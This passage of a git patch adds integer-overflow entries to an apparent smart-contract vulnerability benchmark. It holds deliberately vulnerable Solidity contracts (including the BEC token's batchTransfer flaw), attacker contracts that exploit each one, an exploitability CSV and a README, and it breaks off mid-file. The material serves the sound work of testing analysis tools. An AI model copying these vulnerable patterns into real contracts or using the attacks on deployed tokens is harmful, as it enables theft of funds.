From 1096d8d168bf50a29fbc717b5bd2f034cc943f02 Mon Sep 17 00:00:00 2001 From: Monica Jin Date: Thu, 17 Oct 2024 14:47:35 +0200 Subject: [PATCH 1/2] add arithmetic contracts 0.8.0 --- .../contracts/arithmetic/BECToken_attack.sol | 18 ++ .../0.8.x/contracts/arithmetic/exploits.csv | 16 + .../arithmetic/integer_overflow_1_attack.sol | 17 + .../integer_overflow_add_attack.sol | 19 ++ .../integer_overflow_benign_1_attack.sol | 18 ++ .../integer_overflow_minimal_attack.sol | 18 ++ .../integer_overflow_mul_attack.sol | 16 + ...flow_multitx_multifunc_feasible_attack.sol | 17 + ...erflow_multitx_onefunc_feasible_attack.sol | 17 + .../arithmetic/overflow_simple_add_attack.sol | 20 ++ .../arithmetic/overflow_single_tx_attack.sol | 43 +++ .../contracts/arithmetic/timelock_attack.sol | 31 ++ .../contracts/arithmetic/token_attack.sol | 18 ++ .../arithmetic/tokensalechallenge_attack.sol | 21 ++ .../contracts/dataset/arithmetic/BECToken.sol | 306 ++++++++++++++++++ .../contracts/dataset/arithmetic/README.md | 43 +++ .../dataset/arithmetic/insecure_transfer.sol | 21 ++ .../dataset/arithmetic/integer_overflow_1.sol | 24 ++ .../arithmetic/integer_overflow_add.sol | 19 ++ .../arithmetic/integer_overflow_benign_1.sol | 19 ++ .../integer_overflow_mapping_sym_1.sol | 18 ++ .../arithmetic/integer_overflow_minimal.sol | 19 ++ .../arithmetic/integer_overflow_mul.sol | 19 ++ ...er_overflow_multitx_multifunc_feasible.sol | 27 ++ ...eger_overflow_multitx_onefunc_feasible.sol | 24 ++ .../arithmetic/overflow_simple_add.sol | 16 + .../dataset/arithmetic/overflow_single_tx.sol | 51 +++ .../contracts/dataset/arithmetic/timelock.sol | 32 ++ .../contracts/dataset/arithmetic/token.sol | 30 ++ .../dataset/arithmetic/tokensalechallenge.sol | 35 ++ smartbugs-curated/0.8.x/hardhat.config.js | 24 ++ .../0.8.x/scripts/CustomReporter.js | 111 +++++++ .../0.8.x/test/arithmetic/BECToken_test.js | 33 ++ .../arithmetic/integer_overflow_1_test.js | 51 +++ .../arithmetic/integer_overflow_add_test.js | 28 ++ .../integer_overflow_mapping_sym_1.js | 63 ++++ .../integer_overflow_minimal_test.js | 30 ++ .../arithmetic/integer_overflow_mul_test.js | 29 ++ ...verflow_multitx_multifunc_feasible_test.js | 29 ++ ..._overflow_multitx_onefunc_feasible_test.js | 28 ++ .../arithmetic/overflow_simple_add_test.js | 30 ++ .../arithmetic/overflow_single_tx_test.js | 43 +++ .../0.8.x/test/arithmetic/timelock_test.js | 51 +++ .../0.8.x/test/arithmetic/token_test.js | 34 ++ .../arithmetic/tokensalechallenge_test.js | 44 +++ 45 files changed, 1620 insertions(+) create mode 100644 smartbugs-curated/0.8.x/contracts/arithmetic/BECToken_attack.sol create mode 100644 smartbugs-curated/0.8.x/contracts/arithmetic/exploits.csv create mode 100644 smartbugs-curated/0.8.x/contracts/arithmetic/integer_overflow_1_attack.sol create mode 100644 smartbugs-curated/0.8.x/contracts/arithmetic/integer_overflow_add_attack.sol create mode 100644 smartbugs-curated/0.8.x/contracts/arithmetic/integer_overflow_benign_1_attack.sol create mode 100644 smartbugs-curated/0.8.x/contracts/arithmetic/integer_overflow_minimal_attack.sol create mode 100644 smartbugs-curated/0.8.x/contracts/arithmetic/integer_overflow_mul_attack.sol create mode 100644 smartbugs-curated/0.8.x/contracts/arithmetic/integer_overflow_multitx_multifunc_feasible_attack.sol create mode 100644 smartbugs-curated/0.8.x/contracts/arithmetic/integer_overflow_multitx_onefunc_feasible_attack.sol create mode 100644 smartbugs-curated/0.8.x/contracts/arithmetic/overflow_simple_add_attack.sol create mode 100644 smartbugs-curated/0.8.x/contracts/arithmetic/overflow_single_tx_attack.sol create mode 100644 smartbugs-curated/0.8.x/contracts/arithmetic/timelock_attack.sol create mode 100644 smartbugs-curated/0.8.x/contracts/arithmetic/token_attack.sol create mode 100644 smartbugs-curated/0.8.x/contracts/arithmetic/tokensalechallenge_attack.sol create mode 100644 smartbugs-curated/0.8.x/contracts/dataset/arithmetic/BECToken.sol create mode 100755 smartbugs-curated/0.8.x/contracts/dataset/arithmetic/README.md create mode 100644 smartbugs-curated/0.8.x/contracts/dataset/arithmetic/insecure_transfer.sol create mode 100644 smartbugs-curated/0.8.x/contracts/dataset/arithmetic/integer_overflow_1.sol create mode 100644 smartbugs-curated/0.8.x/contracts/dataset/arithmetic/integer_overflow_add.sol create mode 100644 smartbugs-curated/0.8.x/contracts/dataset/arithmetic/integer_overflow_benign_1.sol create mode 100644 smartbugs-curated/0.8.x/contracts/dataset/arithmetic/integer_overflow_mapping_sym_1.sol create mode 100644 smartbugs-curated/0.8.x/contracts/dataset/arithmetic/integer_overflow_minimal.sol create mode 100644 smartbugs-curated/0.8.x/contracts/dataset/arithmetic/integer_overflow_mul.sol create mode 100644 smartbugs-curated/0.8.x/contracts/dataset/arithmetic/integer_overflow_multitx_multifunc_feasible.sol create mode 100644 smartbugs-curated/0.8.x/contracts/dataset/arithmetic/integer_overflow_multitx_onefunc_feasible.sol create mode 100644 smartbugs-curated/0.8.x/contracts/dataset/arithmetic/overflow_simple_add.sol create mode 100644 smartbugs-curated/0.8.x/contracts/dataset/arithmetic/overflow_single_tx.sol create mode 100644 smartbugs-curated/0.8.x/contracts/dataset/arithmetic/timelock.sol create mode 100644 smartbugs-curated/0.8.x/contracts/dataset/arithmetic/token.sol create mode 100644 smartbugs-curated/0.8.x/contracts/dataset/arithmetic/tokensalechallenge.sol create mode 100644 smartbugs-curated/0.8.x/hardhat.config.js create mode 100644 smartbugs-curated/0.8.x/scripts/CustomReporter.js create mode 100644 smartbugs-curated/0.8.x/test/arithmetic/BECToken_test.js create mode 100644 smartbugs-curated/0.8.x/test/arithmetic/integer_overflow_1_test.js create mode 100644 smartbugs-curated/0.8.x/test/arithmetic/integer_overflow_add_test.js create mode 100644 smartbugs-curated/0.8.x/test/arithmetic/integer_overflow_mapping_sym_1.js create mode 100644 smartbugs-curated/0.8.x/test/arithmetic/integer_overflow_minimal_test.js create mode 100644 smartbugs-curated/0.8.x/test/arithmetic/integer_overflow_mul_test.js create mode 100644 smartbugs-curated/0.8.x/test/arithmetic/integer_overflow_multitx_multifunc_feasible_test.js create mode 100644 smartbugs-curated/0.8.x/test/arithmetic/integer_overflow_multitx_onefunc_feasible_test.js create mode 100644 smartbugs-curated/0.8.x/test/arithmetic/overflow_simple_add_test.js create mode 100644 smartbugs-curated/0.8.x/test/arithmetic/overflow_single_tx_test.js create mode 100644 smartbugs-curated/0.8.x/test/arithmetic/timelock_test.js create mode 100644 smartbugs-curated/0.8.x/test/arithmetic/token_test.js create mode 100644 smartbugs-curated/0.8.x/test/arithmetic/tokensalechallenge_test.js diff --git a/smartbugs-curated/0.8.x/contracts/arithmetic/BECToken_attack.sol b/smartbugs-curated/0.8.x/contracts/arithmetic/BECToken_attack.sol new file mode 100644 index 0000000..015c531 --- /dev/null +++ b/smartbugs-curated/0.8.x/contracts/arithmetic/BECToken_attack.sol @@ -0,0 +1,18 @@ +pragma solidity ^0.8.0; + +import "../dataset/arithmetic/BECToken.sol"; + +contract BecTokenAttacker { + BecToken public target; + + function attack(address _target) public { + target = BecToken(_target); + address[] memory recipients = new address[](2); + recipients[0] = address(this); + recipients[1] = address(0x0); + + uint256 max = 2**255; + target.batchTransfer(recipients, max); + } + +} \ No newline at end of file diff --git a/smartbugs-curated/0.8.x/contracts/arithmetic/exploits.csv b/smartbugs-curated/0.8.x/contracts/arithmetic/exploits.csv new file mode 100644 index 0000000..380e899 --- /dev/null +++ b/smartbugs-curated/0.8.x/contracts/arithmetic/exploits.csv @@ -0,0 +1,16 @@ +file path, exploitable and exposed +arithmetic/BECToken.sol, True +arithmetic/insecure_transfer.sol, False +arithmetic/integer_overflow_1.sol, True +arithmetic/integer_overflow_add.sol, True +arithmetic/integer_overflow_benign_1.sol, False +arithmetic/integer_overflow_mapping_sym_1.sol, True +arithmetic/integer_overflow_minimal.sol, True +arithmetic/integer_overflow_mul.sol, True +arithmetic/integer_overflow_multitx_multifunc_feasible.sol, True +arithmetic/integer_overflow_multitx_onefunc_feasible.sol, True +arithmetic/overflow_simple_add.sol, True +arithmetic/overflow_single_tx.sol, True +arithmetic/timelock.sol, True +arithmetic/token.sol, True +arithmetic/tokensalechallenge.sol, True \ No newline at end of file diff --git a/smartbugs-curated/0.8.x/contracts/arithmetic/integer_overflow_1_attack.sol b/smartbugs-curated/0.8.x/contracts/arithmetic/integer_overflow_1_attack.sol new file mode 100644 index 0000000..f4f58a2 --- /dev/null +++ b/smartbugs-curated/0.8.x/contracts/arithmetic/integer_overflow_1_attack.sol @@ -0,0 +1,17 @@ +pragma solidity ^0.8.0; + +import "../dataset/arithmetic/integer_overflow_1.sol"; + +contract OverflowAttacker { + Overflow public victim_contract; + + constructor (address _overflowAddress) { + victim_contract = Overflow(_overflowAddress); + } + + function addMax() public { + uint maxUint = 2**256 - 1; + + victim_contract.add(maxUint); + } +} diff --git a/smartbugs-curated/0.8.x/contracts/arithmetic/integer_overflow_add_attack.sol b/smartbugs-curated/0.8.x/contracts/arithmetic/integer_overflow_add_attack.sol new file mode 100644 index 0000000..10ead1b --- /dev/null +++ b/smartbugs-curated/0.8.x/contracts/arithmetic/integer_overflow_add_attack.sol @@ -0,0 +1,19 @@ +pragma solidity ^0.8.0; + +import "../dataset/arithmetic/integer_overflow_add.sol"; + +contract IntegerOverflowAddAttacker { + IntegerOverflowAdd public victim_contract; + + constructor (address _overflowAddress) { + victim_contract = IntegerOverflowAdd(_overflowAddress); + } + + function attack() public { + uint maxUint = 2**256 - 1; + + // Call the add function with a value that will cause an overflow + victim_contract.run(maxUint - victim_contract.count()); + victim_contract.run(1); + } +} diff --git a/smartbugs-curated/0.8.x/contracts/arithmetic/integer_overflow_benign_1_attack.sol b/smartbugs-curated/0.8.x/contracts/arithmetic/integer_overflow_benign_1_attack.sol new file mode 100644 index 0000000..8f4977e --- /dev/null +++ b/smartbugs-curated/0.8.x/contracts/arithmetic/integer_overflow_benign_1_attack.sol @@ -0,0 +1,18 @@ +pragma solidity ^0.8.0; + +import "../dataset/arithmetic/integer_overflow_benign_1.sol"; + +contract IntegerOverflowBenign1Attacker { + IntegerOverflowBenign1 victimContract; + + constructor (address _victimAddress) { + victimContract = IntegerOverflowBenign1(_victimAddress); + } + + function attack() public { + uint256 count = victimContract.count(); + + victimContract.run(count); + victimContract.run(1); + } +} \ No newline at end of file diff --git a/smartbugs-curated/0.8.x/contracts/arithmetic/integer_overflow_minimal_attack.sol b/smartbugs-curated/0.8.x/contracts/arithmetic/integer_overflow_minimal_attack.sol new file mode 100644 index 0000000..fbc6a0e --- /dev/null +++ b/smartbugs-curated/0.8.x/contracts/arithmetic/integer_overflow_minimal_attack.sol @@ -0,0 +1,18 @@ +pragma solidity ^0.8.0; + +import "../dataset/arithmetic/integer_overflow_minimal.sol"; + +contract IntegerOverflowMinimalAttacker { + IntegerOverflowMinimal victimContract; + + constructor (address _victimAddress) { + victimContract = IntegerOverflowMinimal(_victimAddress); + } + + function attack() public { + uint256 count = victimContract.count(); + + victimContract.run(count); + victimContract.run(1); + } +} \ No newline at end of file diff --git a/smartbugs-curated/0.8.x/contracts/arithmetic/integer_overflow_mul_attack.sol b/smartbugs-curated/0.8.x/contracts/arithmetic/integer_overflow_mul_attack.sol new file mode 100644 index 0000000..e3a97cd --- /dev/null +++ b/smartbugs-curated/0.8.x/contracts/arithmetic/integer_overflow_mul_attack.sol @@ -0,0 +1,16 @@ +pragma solidity ^0.8.0; + +import "../dataset/arithmetic/integer_overflow_mul.sol"; + +contract IntegerOverflowMulAttacker { + IntegerOverflowMul victimContract; + + constructor (address _victimAddress) { + victimContract = IntegerOverflowMul(_victimAddress); + } + + function attack() public { + uint256 largeNumber = 2**256 / 2; + victimContract.run(largeNumber); + } +} \ No newline at end of file diff --git a/smartbugs-curated/0.8.x/contracts/arithmetic/integer_overflow_multitx_multifunc_feasible_attack.sol b/smartbugs-curated/0.8.x/contracts/arithmetic/integer_overflow_multitx_multifunc_feasible_attack.sol new file mode 100644 index 0000000..5f32ebb --- /dev/null +++ b/smartbugs-curated/0.8.x/contracts/arithmetic/integer_overflow_multitx_multifunc_feasible_attack.sol @@ -0,0 +1,17 @@ +pragma solidity ^0.8.0; + +import "../dataset/arithmetic/integer_overflow_multitx_multifunc_feasible.sol"; + +contract IntegerOverflowMultiTxMultiFuncFeasibleAttacker { + IntegerOverflowMultiTxMultiFuncFeasible public target; + + constructor (address _targetAddress) { + target = IntegerOverflowMultiTxMultiFuncFeasible(_targetAddress); + } + + function attack() public { + target.init(); + + target.run(2); + } +} \ No newline at end of file diff --git a/smartbugs-curated/0.8.x/contracts/arithmetic/integer_overflow_multitx_onefunc_feasible_attack.sol b/smartbugs-curated/0.8.x/contracts/arithmetic/integer_overflow_multitx_onefunc_feasible_attack.sol new file mode 100644 index 0000000..25ba7dc --- /dev/null +++ b/smartbugs-curated/0.8.x/contracts/arithmetic/integer_overflow_multitx_onefunc_feasible_attack.sol @@ -0,0 +1,17 @@ +pragma solidity ^0.8.0; + +import "../dataset/arithmetic/integer_overflow_multitx_onefunc_feasible.sol"; + +contract IntegerOverflowMultiTxOneFuncFeasibleAttacker { + IntegerOverflowMultiTxOneFuncFeasible public target; + + constructor (address _targetAddress) { + target = IntegerOverflowMultiTxOneFuncFeasible(_targetAddress); + } + + function attack() public { + target.run(2); + + target.run(2); + } +} \ No newline at end of file diff --git a/smartbugs-curated/0.8.x/contracts/arithmetic/overflow_simple_add_attack.sol b/smartbugs-curated/0.8.x/contracts/arithmetic/overflow_simple_add_attack.sol new file mode 100644 index 0000000..1d074fa --- /dev/null +++ b/smartbugs-curated/0.8.x/contracts/arithmetic/overflow_simple_add_attack.sol @@ -0,0 +1,20 @@ +pragma solidity 0.8.0; + +import "../dataset/arithmetic/overflow_simple_add.sol"; + +contract Overflow_AddAttacker { + Overflow_Add victimContract; + + constructor (address _victimAddress) { + victimContract = Overflow_Add(_victimAddress); + } + + function attack() public { + + uint256 balance = victimContract.balance(); + uint256 max = 2**256 - 1 - balance; + + victimContract.add(max); + victimContract.add(1); + } +} \ No newline at end of file diff --git a/smartbugs-curated/0.8.x/contracts/arithmetic/overflow_single_tx_attack.sol b/smartbugs-curated/0.8.x/contracts/arithmetic/overflow_single_tx_attack.sol new file mode 100644 index 0000000..ae32400 --- /dev/null +++ b/smartbugs-curated/0.8.x/contracts/arithmetic/overflow_single_tx_attack.sol @@ -0,0 +1,43 @@ +pragma solidity ^0.8.0; + +import "../dataset/arithmetic/overflow_single_tx.sol"; + +contract IntegerOverflowSingleTransactionAttacker { + IntegerOverflowSingleTransaction public target; + + constructor (address _targetAddress) { + target = IntegerOverflowSingleTransaction(_targetAddress); + } + + function attackOverflowAddToState() public { + uint256 largeNumber = 2**256 - 1; + target.overflowaddtostate(largeNumber); + } + + function attackOverflowMulToState() public { + uint256 largeNumber = 2**255; + target.overflowmultostate(largeNumber); + target.overflowmultostate(2); + } + + function attackUnderflowToState() public { + uint256 number = 2; + target.underflowtostate(number); + } + + function attackOverflowAddLocalOnly() public { + uint256 largeNumber = 2**256 - 1; + target.overflowlocalonly(largeNumber); + } + + function attackOverflowMulLocalOnly() public { + uint256 largeNumber = 2**255; + target.overflowmulocalonly(largeNumber); + target.overflowmulocalonly(2); + } + + function attackUnderflowLocalOnly() public { + uint256 number = 2; + target.underflowlocalonly(number); + } +} \ No newline at end of file diff --git a/smartbugs-curated/0.8.x/contracts/arithmetic/timelock_attack.sol b/smartbugs-curated/0.8.x/contracts/arithmetic/timelock_attack.sol new file mode 100644 index 0000000..048001b --- /dev/null +++ b/smartbugs-curated/0.8.x/contracts/arithmetic/timelock_attack.sol @@ -0,0 +1,31 @@ + pragma solidity ^0.8.0; + + import "../dataset/arithmetic/timelock.sol"; + + contract TimeLockAttacker { + TimeLock public target; + + constructor (address _targetAddress) public { + target = TimeLock(_targetAddress); + } + + function deposit() public payable { + target.deposit{value: msg.value}(); + } + + function attack() public { + + uint256 timeLock = target.lockTime(address(this)); + uint256 overflowValue = 2**256 - 1 - timeLock + 1; + target.increaseLockTime(overflowValue); + + } + + function withdraw() public { + target.withdraw(); + } + + receive() external payable {} + + fallback () external payable {} + } diff --git a/smartbugs-curated/0.8.x/contracts/arithmetic/token_attack.sol b/smartbugs-curated/0.8.x/contracts/arithmetic/token_attack.sol new file mode 100644 index 0000000..d7fe85f --- /dev/null +++ b/smartbugs-curated/0.8.x/contracts/arithmetic/token_attack.sol @@ -0,0 +1,18 @@ +pragma solidity ^0.8.0; + +import "../dataset/arithmetic/token.sol"; + + contract TokenAttacker { + Token target; + + constructor (address _token) { + target = Token(_token); + } + + function attack(address to) public { + uint256 balance = target.balanceOf(address(this)); + uint256 value = balance + 1; + target.transfer(to, value); + } + + } diff --git a/smartbugs-curated/0.8.x/contracts/arithmetic/tokensalechallenge_attack.sol b/smartbugs-curated/0.8.x/contracts/arithmetic/tokensalechallenge_attack.sol new file mode 100644 index 0000000..2d0118c --- /dev/null +++ b/smartbugs-curated/0.8.x/contracts/arithmetic/tokensalechallenge_attack.sol @@ -0,0 +1,21 @@ +pragma solidity ^0.8.0; + +import "../dataset/arithmetic/tokensalechallenge.sol"; + +contract TokenSaleChallengeAttacker { + TokenSaleChallenge public target; + + function attack_buy(address _target) public payable { + target = TokenSaleChallenge(_target); + uint256 numTokens = 2**238; + target.buy{value: msg.value}(numTokens); + } + + function attack_complete(address _target) public payable { + attack_buy(_target); + target.sell(1); + } + + receive() external payable {} + +} \ No newline at end of file diff --git a/smartbugs-curated/0.8.x/contracts/dataset/arithmetic/BECToken.sol b/smartbugs-curated/0.8.x/contracts/dataset/arithmetic/BECToken.sol new file mode 100644 index 0000000..7fee847 --- /dev/null +++ b/smartbugs-curated/0.8.x/contracts/dataset/arithmetic/BECToken.sol @@ -0,0 +1,306 @@ +/* + * @source: https://smartcontractsecurity.github.io/SWC-registry/docs/SWC-101#bectokensol + * @author: - + * @vulnerable_at_lines: 264 + */ + +pragma solidity ^0.8.0; + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + function mul(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a * b; + require(a == 0 || c / a == b); + return c; + } + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // require(b > 0); // Solidity automatically throws when dividing by 0 + uint256 c = a / b; + // require(a == b * c + a % b); // There is no case in which this doesn't hold + return c; + } + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + require(b <= a); + return a - b; + } + + function add(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a + b; + require(c >= a); + return c; + } +} + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +abstract contract ERC20Basic { + uint256 public totalSupply; + function balanceOf(address who) public view virtual returns (uint256); + function transfer(address to, uint256 value) public virtual returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +/** + * @title Basic token + * @dev Basic version of StandardToken, with no allowances. + */ +contract BasicToken is ERC20Basic { + using SafeMath for uint256; + + mapping(address => uint256) balances; + + /** + * @dev transfer token for a specified address + * @param _to The address to transfer to. + * @param _value The amount to be transferred. + */ + function transfer(address _to, uint256 _value) public virtual override returns (bool) { + require(_to != address(0)); + require(_value > 0 && _value <= balances[msg.sender]); + + // SafeMath.sub will throw if there is not enough balance. + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + emit Transfer(msg.sender, _to, _value); + return true; + } + + /** + * @dev Gets the balance of the specified address. + * @param _owner The address to query the the balance of. + * @return balance An uint256 representing the amount owned by the passed address. + */ + function balanceOf(address _owner) public view override returns (uint256 balance) { + return balances[_owner]; + } +} + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +abstract contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view virtual returns (uint256); + function transferFrom(address from, address to, uint256 value) public virtual returns (bool); + function approve(address spender, uint256 value) public virtual returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + + +/** + * @title Standard ERC20 token + * + * @dev Implementation of the basic standard token. + * @dev https://github.com/ethereum/EIPs/issues/20 + * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol + */ +contract StandardToken is ERC20, BasicToken { + + mapping (address => mapping (address => uint256)) internal allowed; + + + /** + * @dev Transfer tokens from one address to another + * @param _from address The address which you want to send tokens from + * @param _to address The address which you want to transfer to + * @param _value uint256 the amount of tokens to be transferred + */ + function transferFrom(address _from, address _to, uint256 _value) public virtual override returns (bool) { + require(_to != address(0)); + require(_value > 0 && _value <= balances[_from]); + require(_value <= allowed[_from][msg.sender]); + + balances[_from] = SafeMath.sub(balances[_from], _value); + balances[_to] = SafeMath.add(balances[_to], _value); + allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value); + emit Transfer(_from, _to, _value); + return true; + } + + /** + * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. + * + * Beware that changing an allowance with this method brings the risk that someone may use both the old + * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this + * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: + * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 + * @param _spender The address which will spend the funds. + * @param _value The amount of tokens to be spent. + */ + function approve(address _spender, uint256 _value) public virtual override returns (bool) { + allowed[msg.sender][_spender] = _value; + emit Approval(msg.sender, _spender, _value); + return true; + } + + /** + * @dev Function to check the amount of tokens that an owner allowed to a spender. + * @param _owner address The address which owns the funds. + * @param _spender address The address which will spend the funds. + * @return remaining A uint256 specifying the amount of tokens still available for the spender. + */ + function allowance(address _owner, address _spender) public view override returns (uint256 remaining) { + return allowed[_owner][_spender]; + } +} + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor () { + owner = msg.sender; + } + + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + require(newOwner != address(0)); + emit OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +/** + * @title Pausable + * @dev Base contract which allows children to implement an emergency stop mechanism. + */ +contract Pausable is Ownable { + event Pause(); + event Unpause(); + + bool public paused = false; + + + /** + * @dev Modifier to make a function callable only when the contract is not paused. + */ + modifier whenNotPaused() { + require(!paused); + _; + } + + /** + * @dev Modifier to make a function callable only when the contract is paused. + */ + modifier whenPaused() { + require(paused); + _; + } + + /** + * @dev called by the owner to pause, triggers stopped state + */ + function pause() onlyOwner whenNotPaused public { + paused = true; + emit Pause(); + } + + /** + * @dev called by the owner to unpause, returns to normal state + */ + function unpause() onlyOwner whenPaused public { + paused = false; + emit Unpause(); + } +} + +/** + * @title Pausable token + * + * @dev StandardToken modified with pausable transfers. + **/ + +contract PausableToken is StandardToken, Pausable { + + function transfer(address _to, uint256 _value) public override(ERC20Basic) whenNotPaused returns (bool) { + return super.transfer(_to, _value); + } + + function transferFrom(address _from, address _to, uint256 _value) public override(StandardToken) whenNotPaused returns (bool) { + return super.transferFrom(_from, _to, _value); + } + + function approve(address _spender, uint256 _value) public override(StandardToken) whenNotPaused returns (bool) { + return super.approve(_spender, _value); + } + + function batchTransfer(address[] memory _receivers, uint256 _value) public whenNotPaused returns (bool) { + uint cnt = _receivers.length; + // ARITHMETIC + uint256 amount = uint256(cnt) * _value; + require(cnt > 0 && cnt <= 20); + require(_value > 0 && balances[msg.sender] >= amount); + + balances[msg.sender] = SafeMath.sub(balances[msg.sender], amount); + for (uint i = 0; i < cnt; i++) { + balances[_receivers[i]] = SafeMath.add(balances[_receivers[i]], _value); + emit Transfer(msg.sender, _receivers[i], _value); + } + return true; + } +} + +/** + * @title Bec Token + * + * @dev Implementation of Bec Token based on the basic standard token. + */ +contract BecToken is PausableToken { + /** + * Public variables of the token + * The following variables are OPTIONAL vanities. One does not have to include them. + * They allow one to customise the token contract & in no way influences the core functionality. + * Some wallets/interfaces might not even bother to look at this information. + */ + string public name = "BeautyChain"; + string public symbol = "BEC"; + string public version = '1.0.0'; + uint8 public decimals = 18; + + /** + * @dev Function to check the amount of tokens that an owner allowed to a spender. + */ + constructor () { + totalSupply = 7000000000 * (10**(uint256(decimals))); + balances[msg.sender] = totalSupply; // Give the creator all initial tokens + } + + fallback() external { + //if ether is sent to this address, send it back. + revert(); + } +} diff --git a/smartbugs-curated/0.8.x/contracts/dataset/arithmetic/README.md b/smartbugs-curated/0.8.x/contracts/dataset/arithmetic/README.md new file mode 100755 index 0000000..88eb592 --- /dev/null +++ b/smartbugs-curated/0.8.x/contracts/dataset/arithmetic/README.md @@ -0,0 +1,43 @@ +# Arithmetic +Also known as integer overflow and integer underflow. + +Integer overflows and underflows are not a new class of vulnerability, but they are especially dangerous in smart contracts, where unsigned integers are prevalent and most developers are used to simple int types (which are often just signed integers). If overflows occur, many benign-seeming codepaths become vectors for theft or denial of service. + +## Attack Scenario +A smart contract's withdraw() function allows you to retrieve ether donated to the contract as long as your balance remains positive after the operation. +An attacker attempts to withdraw more than his or her current balance. +The withdraw() function check's result is always a positive amount, allowing the attacker to withdraw more than allowed. The resulting balance underflows and becomes an order of magnitude larger than it should be. + +## Examples +The most straightforward example is a function that does not check for integer underflow, allowing you to withdraw an infinite amount of tokens: +``` +function withdraw(uint _amount) { + require(balances[msg.sender] - _amount > 0); + msg.sender.transfer(_amount); + balances[msg.sender] -= _amount; +} +``` +The second example (spotted during the Underhanded Solidity Coding Contest) is an off-by-one error facilitated by the fact that an array's length is represented by an unsigned integer: +``` +function popArrayOfThings() { + require(arrayOfThings.length >= 0); + arrayOfThings.length--; +} +``` +The third example is a variant of the first example, where the result of arithmetic on two unsigned integers is an unsigned integer: +``` +function votes(uint postId, uint upvote, uint downvotes) { + if (upvote - downvote < 0) { + deletePost(postId) + } +} +``` +The fourth example features the soon-to-be-deprecated var keyword. Because var will change itself to the smallest type needed to contain the assigned value, it will become an uint8 to hold the value 0. If the loop is meant to iterate more than 255 times, it will never reach that number and will stop when the execution runs out of gas: +``` +for (var i = 0; i < somethingLarge; i ++) { + // ... +} +``` + +## References +Taken from [DASP TOP10](https://dasp.co/) \ No newline at end of file diff --git a/smartbugs-curated/0.8.x/contracts/dataset/arithmetic/insecure_transfer.sol b/smartbugs-curated/0.8.x/contracts/dataset/arithmetic/insecure_transfer.sol new file mode 100644 index 0000000..91a7bd9 --- /dev/null +++ b/smartbugs-curated/0.8.x/contracts/dataset/arithmetic/insecure_transfer.sol @@ -0,0 +1,21 @@ +/* + * @source: https://consensys.github.io/smart-contract-best-practices/known_attacks/#front-running-aka-transaction-ordering-dependence + * @author: consensys + * @vulnerable_at_lines: 18 + */ + +pragma solidity ^0.8.0; + +contract IntegerOverflowAdd { + mapping (address => uint256) public balanceOf; + + // INSECURE + function transfer(address _to, uint256 _value) public{ + /* Check if sender has balance */ + require(balanceOf[msg.sender] >= _value); + balanceOf[msg.sender] -= _value; + // ARITHMETIC + balanceOf[_to] += _value; +} + +} diff --git a/smartbugs-curated/0.8.x/contracts/dataset/arithmetic/integer_overflow_1.sol b/smartbugs-curated/0.8.x/contracts/dataset/arithmetic/integer_overflow_1.sol new file mode 100644 index 0000000..f496523 --- /dev/null +++ b/smartbugs-curated/0.8.x/contracts/dataset/arithmetic/integer_overflow_1.sol @@ -0,0 +1,24 @@ +/* + * @source: https://github.com/trailofbits/not-so-smart-contracts/blob/master/integer_overflow/integer_overflow_1.sol + * @author: - + * @vulnerable_at_lines: 14 + */ + + pragma solidity ^0.8.0; + + contract Overflow { + uint private sellerBalance=0; + + function add(uint value) public returns (bool){ + // ARITHMETIC + sellerBalance += value; // possible overflow + + // possible auditor assert + // assert(sellerBalance >= value); + } + + // function safe_add(uint value) returns (bool){ + // require(value + sellerBalance >= sellerBalance); + // sellerBalance += value; + // } + } diff --git a/smartbugs-curated/0.8.x/contracts/dataset/arithmetic/integer_overflow_add.sol b/smartbugs-curated/0.8.x/contracts/dataset/arithmetic/integer_overflow_add.sol new file mode 100644 index 0000000..0280dce --- /dev/null +++ b/smartbugs-curated/0.8.x/contracts/dataset/arithmetic/integer_overflow_add.sol @@ -0,0 +1,19 @@ +/* + * @source: https://github.com/ConsenSys/evm-analyzer-benchmark-suite/blob/master/benchmarks/integer_overflow_add.sol + * @author: - + * @vulnerable_at_lines: 17 + */ + +//Single transaction overflow +//Post-transaction effect: overflow escapes to publicly-readable storage + +pragma solidity ^0.8.0; + +contract IntegerOverflowAdd { + uint public count = 1; + + function run(uint256 input) public { + // ARITHMETIC + count += input; + } +} diff --git a/smartbugs-curated/0.8.x/contracts/dataset/arithmetic/integer_overflow_benign_1.sol b/smartbugs-curated/0.8.x/contracts/dataset/arithmetic/integer_overflow_benign_1.sol new file mode 100644 index 0000000..c719edc --- /dev/null +++ b/smartbugs-curated/0.8.x/contracts/dataset/arithmetic/integer_overflow_benign_1.sol @@ -0,0 +1,19 @@ +/* + * @source: https://github.com/SmartContractSecurity/SWC-registry/blob/master/test_cases/integer_overflow_and_underflow/integer_overflow_benign_1.sol + * @author: - + * @vulnerable_at_lines: 17 + */ + +//Single transaction overflow +//Post-transaction 